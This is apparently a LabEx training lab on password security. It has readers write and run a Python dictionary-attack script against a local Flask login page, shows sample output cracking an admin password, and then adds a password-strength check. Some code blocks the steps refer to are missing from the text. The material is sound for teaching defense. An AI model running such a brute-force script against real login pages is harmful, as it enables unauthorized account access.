In this lab, you will take on the role of a security researcher tasked with testing the password security of a web application. You will explore the vulnerabilities of weak passwords and learn techniques used to crack them. This hands-on experience will provide insights into both offensive techniques and the importance of robust defensive measures in cybersecurity.
Exploring the Target Website
In this step, we will gather information about our target website, a crucial first phase in any security assessment.
Open your web browser and navigate to http://localhost:8080/. You can access this by clicking on the Web 8080 tab in the LabEx environment.
Note: In the LabEx virtual machine, the web server operates on a temporary public network. This means the domain name you see may not be "localhost" but an actual accessible domain. This is normal and does not affect the lab exercise.
Carefully examine the login form. Take note of the following:
The site requires both a username and a password.
There are no visible clues about valid usernames or password requirements.
Attempt to log in using a few random combinations of usernames and passwords. For example:
Username: test, Password: password123
Username: admin, Password: admin
Username: user, Password: 12345
You should receive an "Invalid username or password" message for each attempt.
Based on your observations, we can make some educated guesses about the login system:
It doesn't reveal whether a username exists or not. This is a good security practice as it doesn't give away information about valid accounts.
There's no apparent limit on the number of login attempts. In a real-world scenario, this could be a vulnerability, allowing for unlimited password guessing.
This initial reconnaissance helps us understand the system we're dealing with and informs our next steps in attempting to crack the passwords.
Creating a Password Dictionary
Now that we've gathered information about the login system, we'll create a dictionary of potential passwords. This is a common technique used in password cracking attempts.
Open the terminal on the Desktop.
In the terminal, enter the following command to create and populate the passwords.txt file:
This command uses a technique called a "here document" in bash. It allows us to create a file with multiple lines of text in a single command. Here's how it works:
cat << EOF > filename: This tells the system to take all the text up until it sees "EOF" (End Of File) and write it to the specified filename.
The text between the first EOF and the second EOF is the content that will be written to the file.
The final EOF marks the end of the text to be written.
After running this command, you'll have created a file named passwords.txt in the ~/project/password_lab/ directory, containing a list of commonly used (and therefore weak) passwords.
In a real-world scenario, attackers might use much larger dictionaries, often containing millions of passwords. These could include:
Commonly used passwords
Words from multiple languages
Variations of words (e.g., "password1", "p@ssword", "password123")
Leaked passwords from previous data breaches
Creating and using such dictionaries for unauthorized access is illegal and unethical. We're using this small dictionary for educational purposes only, to understand how these attacks work and how to defend against them.
Writing the Password Cracking Script
With our password dictionary in place, we'll now create a Python script to automate the process of testing these passwords against our target website.
Open the terminal on the Desktop if it's not already open.
Enter the following command to open a new file named password_cracker.py in the nano text editor:
nano ~/project/password_lab/password_cracker.py
Copy and paste the following Python code into the nano editor:
import requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()
Save the file and exit nano by pressing Ctrl+X, then Y, and finally Enter.
Let's break down what this script does:
The crack_password function:
Takes a username and a list of passwords as input.
For each password, it sends a POST request to the login page with the username and password.
If the response contains "Login successful!", it prints a success message.
Otherwise, it prints a failure message.
It includes a small delay (0.1 seconds) between attempts to avoid overwhelming the server.
The main function:
Defines a list of common usernames to try.
Reads the passwords from our passwords.txt file.
For each username, it calls crack_password with the list of passwords.
This script automates the process of trying many username and password combinations, similar to how an attacker might approach breaking into a system. However, it's important to note that using such techniques without permission is illegal and unethical. We're using this for educational purposes only, to understand how these attacks work and how to defend against them.
Running the Password Cracking Script
Now that we have our password cracking script, we'll run it and analyze the results.
In the terminal, navigate to the directory containing our script:
cd ~/project/password_lab
Run the script with the following command:
python password_cracker.py
Watch the output carefully. The script will attempt to crack the passwords for several common usernames. You should see output similar to this:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
Analyze the output:
Which passwords were successfully cracked?
For which usernames?
How many attempts were needed before finding a correct password?
Why do you think some passwords were cracked while others weren't?
This exercise demonstrates how weak passwords can be easily guessed using common words or patterns. In this case, "admin" with the password "supersecret123" was vulnerable to our dictionary attack.
It's crucial to understand that while this script was successful in this controlled environment, attempting to use such techniques against real systems without explicit permission is illegal and unethical. This knowledge should be used to understand vulnerabilities and improve security, not to exploit systems.
Improving Password Security
Now that we've successfully cracked some passwords, let's implement better password policies to prevent such attacks.
Open the WebIDE Tab in the LabEx VM. WebIDE is a web-based integrated development environment that allows you to write, run, and debug code directly in your browser. It's similar to the VS Code editor but runs in the browser. WebIDE is suitable for editing longer code files.
In the file explorer on the left side of the screen, click on the app.py file to open it in the editor.
Add the following function after the users dictionary to implement password strength checks:
import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True
This function checks if a password:
Is at least 12 characters long
Contains at least one uppercase letter
Contains at least one lowercase letter
Contains at least one digit
Contains at least one special character
Now, add a new route for user registration that implements this password policy. Add this code block before the if __name__ == '__main__': line:
This code creates a new route for user registration. It checks if the submitted password meets our strong password criteria before creating a new user.
Save the changes in the WebIDE.
Now, let's restart the Flask application to apply these changes. Open a terminal and run:
Navigate to the Web 8080 tab, and add /register to the URL to access the new registration form:
Try to register a new account with a weak password (e.g., "password123"). Observe how the application enforces the new password policy.
Now, register a new account with a strong password that meets all the criteria. For example:
Username: labex
Password: S3cureP@ssw0rd-2024
This password meets all our requirements: it's over 12 characters long, contains uppercase and lowercase letters, numbers, and special characters.
After successfully registering, let's test our password cracking script against this new, strong password. Modify the password_cracker.py script:
Open the terminal and enter:
nano ~/project/password_lab/password_cracker.py
Find the line that says usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
Replace it with usernames = ['labex']
Run the modified script:
python ~/project/password_lab/password_cracker.py
Observe that the script fails to crack the new, strong password. This demonstrates the effectiveness of implementing strong password policies.
Summary
In this lab, you've experienced the process of ethical hacking and password security testing. Here's a recap of what you've accomplished:
Reconnaissance: You explored a login page, gathering information about its behavior and potential vulnerabilities. This step mimics how a security researcher or attacker might begin their investigation of a target system.
Password Dictionary Creation: You created a list of common passwords, simulating the dictionaries used in real-world password cracking attempts. This highlighted the vulnerability of using common or weak passwords.
Automated Password Cracking: You wrote and executed a Python script to automate the process of testing multiple username and password combinations. This demonstrated how attackers might approach breaking into a system and the speed at which weak passwords can be compromised.
Analysis of Results: You ran your password cracking script and analyzed the results, understanding which passwords were vulnerable and why. This step emphasized the importance of using strong, unique passwords.
Implementing Security Measures: Finally, you improved the security of the web application by implementing strong password policies and a secure registration system. This showed how proper security measures can effectively prevent common attacks.
We use cookies for a number of reasons, such as keeping the website reliable and secure, to improve your experience on our website and to see how you interact with it. By accepting, you agree to our use of such cookies. Privacy Policy